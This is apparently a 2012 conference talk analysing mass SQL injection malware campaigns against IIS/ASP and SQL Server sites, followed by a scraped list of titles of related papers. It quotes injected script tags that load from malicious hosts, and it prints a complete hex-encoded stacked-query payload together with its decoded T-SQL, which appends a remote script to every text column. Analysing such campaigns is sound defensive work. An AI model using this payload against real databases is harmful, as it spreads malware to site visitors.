Analysis of mass SQL injection attacks

Miroslav Štampar(dev@sqlmap.org)

Miroslav Štampar(dev@sqlmap.org)

FSec – FOI 2012, Varaždin (Croatia) September 21st, 2012 2

FUD (Fear, Uncertainty, Doubt)“A new virus is making the rounds and is

wreaking havoc on the Internet”“Whatever language is used to write to the

database, all SQL databases use the same basic formulas for writing and retrieving data”

“Targets that bottleneck in the technology, making it platform-independent… Whether the machine is using ASP, ColdFusion, JSP, PHP, or whatever else”

“...blazing through the internet, infecting more than half a million domains around the world to date and as many as 1.5 million URLs”

Google is (not) your friend (1)

What's it all about?Platform dependent (IIS/ASP(.NET))DBMS dependent (Microsoft SQL Server)Highly automated (tool-based) approachPopular SQL enumeration tools with or without

Google search capability don't count (e.g. sqlmap, Havij, Pangolin)

Infection(s) counting in thousands of domains (not millions as previously believed)

Dummy as it can be (usually one request per target)

In short: malware distribution

Modus operandi

Get hands on couple of 1-day exploits Blindly inject SQL payload carrying malicious

content (<script>, <iframe>, etc.) into content tables of as much as possible vulnerable web servers

Leverage exploit(s) and/or user's lack of technical knowledge to install malware (spyware, trojans, etc.) to visitor's computer

Profit(???) - (DEFCON 18 – Garry Pejski: “My Life As A Spyware Developer”)

Sample leveraged exploitsCVE-2012-4681 Oracle Java 7 Update 6CVE-2012-1889 Microsoft XML Core ServicesCVE-2012-1723 Java Runtime EnvironmentCVE-2012-0507 Java Runtime EnvironmentCVE-2011-3544 Java Runtime EnvironmentCVE-2011-2110 Adobe Flash PlayerCVE-2011-0611 Adobe Flash PlayerCVE-2010-3552 New Java Plug-inCVE-2010-0188 Adobe Readeretc.

Notable members (1)

Lilupophilupop (sl.php) "></title><script

src="http://lilupophilupop.com/sl.php"></script><!--

Nikjju (r.php) <script src=http://nikjju.com/r.php></script>

Robint (u.js) <script src=http://ww.robint.us/u.js></script>

LizaMoon (ur.php) </title><script src=http://lizamoon.com/ur.php></script>

Jjghui (urchin.js) </title><script src=http://jjghui.com/urchin.js></script>

Notable members (2)

Notable members (3)

Generic payload (obfuscated)

GET /vuln.asp?param=1;DECLARE @S VARCHAR(4000);SET @S=CAST(0x4445434C415245204054205641524348415228323535292C404320564152434841522832353529204445434C415245205461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D27752720414E442028622E78747970653D3939204F5220............................................................5845432827555044415445205B272B40542B275D20534554205B272B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E63686B6164772E636F6D2F622E6A733E3C2F7363726970743E27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655F437572736F7220 AS VARCHAR(4000));EXEC(@S);--

Generic payload (decoded)

DECLARE @t VARCHAR(255), @c VARCHAR(255)

DECLARE table_cursor CURSOR FOR

SELECT a.name, b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) /* NTEXT, TEXT, NVARCHAR, VARCHAR */

OPEN table_cursor FETCH NEXT FROM table_cursor INTO @t,@c

WHILE(@@FETCH_STATUS=0) BEGIN

EXEC('UPDATE ['+@t+'] SET ['+@c+']=RTRIM(CONVERT(VARCHAR,['+@c+']))+''<script src=http://www.attacker.com/malicious.js></script>''')

FETCH NEXT FROM table_cursor INTO @t,@c

CLOSE table_cursor

DEALLOCATE table_cursor

Analysis (1)

Piggy backing (stacked) SQL injectionObfuscated SQL code (hex encoded)Decoded code dynamically executed with T-

SQL EXEC commandUsage of cursor for updateIterating over all tables / all text-like columnsAppending malicious content (e.g. <script src=...) to all matched column entries using UPDATE statement

Analysis (2)

Analysis (3)

Example (1) - FAIL

Example (2) - FAIL

Example (3) - FAIL

Example (4) – CLUSTER FAIL

Example (5) - SUCCESS

Example (6) - SUCCESS

Asprox (1)

Spam botnet used for phishing scams (>10K bots)

Developed over yearsInteresting update “msscntr32.exe” (SQL

attack tool)Google search for targets (e.g. inurl:".asp")Launch SQL injection attacks against resulting

Asprox (2)

CLI (1)

Standalone executableRare beast (Chinese underground forums?)Google search for targets (e.g.: inurl:".asp" inurl:"a=")

Configurable malicious tag that will be inserted (originally <script src=http://www.2117966.net/fuckjp.js></script>)

Wild guess is that attackers are being paid for using the tool (backcall to *.cn/pay.asp?SN=...)

CLI (2)

Sample tool (1)

Sample tool (2)

Sample tool (3)

Sample tool (4)

Sample tool (5)

Sample run (1)

Sample run (2)

Sample run (3)

Sample run (4)

Sample run (5)

Sample run (6)

Sample run (7)

Sample run (8)

Questions?

Analysis of mass SQL injection attacks

Technology

SQL INJECTION CPSC 4670. Topics 1. What are injection attacks? 2. How SQL Injection Works 3. Exploiting SQL Injection Bugs 4. Mitigating SQL Injection

An Introduction to SQL Injection Attacks for Oracle Developers · 2016-02-28 · 8 Integrigy – An Introduction to SQL Injection Attacks for Oracle Developers SQL INJECTION METHODS

SQL Injection Attacks and Bypass Filtrationeuacademic.org/UploadArticle/3048.pdf · SQL Injection Attacks and Bypass Filtration ISLAM ABDALLA MOHAMED ABASS Department of Computer

Detecting SQL Injection Attacks

Runtime Monitoring Framework for SQL Injection Attacks · applications has made them vulnerable to attacks such as SQL Injection Attacks (SQLIAs), Cross-Site Scripting (XSS), Cross-Site

Web application attacks using Sql injection and countermasures

A Learning-based Approach to the Detection of SQL Attacks · SQL-based Attacks • SQL injection attacks –Unsanitized user input is used to compose an SQL query (e.g., string concatenation

SQLrand: Preventing SQL Injection Attacks

SQL injection attacks and defense - GBV

SQL Injection & Soul Injection attacks

An Introduction to SQL Injection Attacks for Oracle …...2 SQL Injection Introduction SQL injection attacks are simple in nature – an attacker passes string input to an application

SQL Injection Attacks SQL Server 3e_Ch 9.… · Many people think that SQL Injection attacks are a problem unique to Microsoft SQL Server, and those people would be wrong. SQL Injection

Integrigy Intro to SQL Injection Attacks

SQL injection: attacks and defenses - Stanford Universitycrypto.stanford.edu/cs142/lectures/16-sql-inj.pdf · SQL injection: attacks and defenses. Dan Boneh. CS 142. Winter 2009

Understanding and preventing sql injection attacks

Advanced SQL Injection: Attacks

AMNESIA: Analysis and Monitoring for NEutralizing SQL-Injection Attacks

Intrusion Detection And Prevention System: SQL-Injection Attacks 2010

SQL Injection Finalv1 - Virtual Security Operations Center · 2014-08-25 · POPULAR TYPES OF SQL INJECTION ATTACKS ... SQL Injection Attack: SQL Operator Detected SQL Injection Bypass/Probing

Blocking of SQL Injection Attacks by Comparing Static and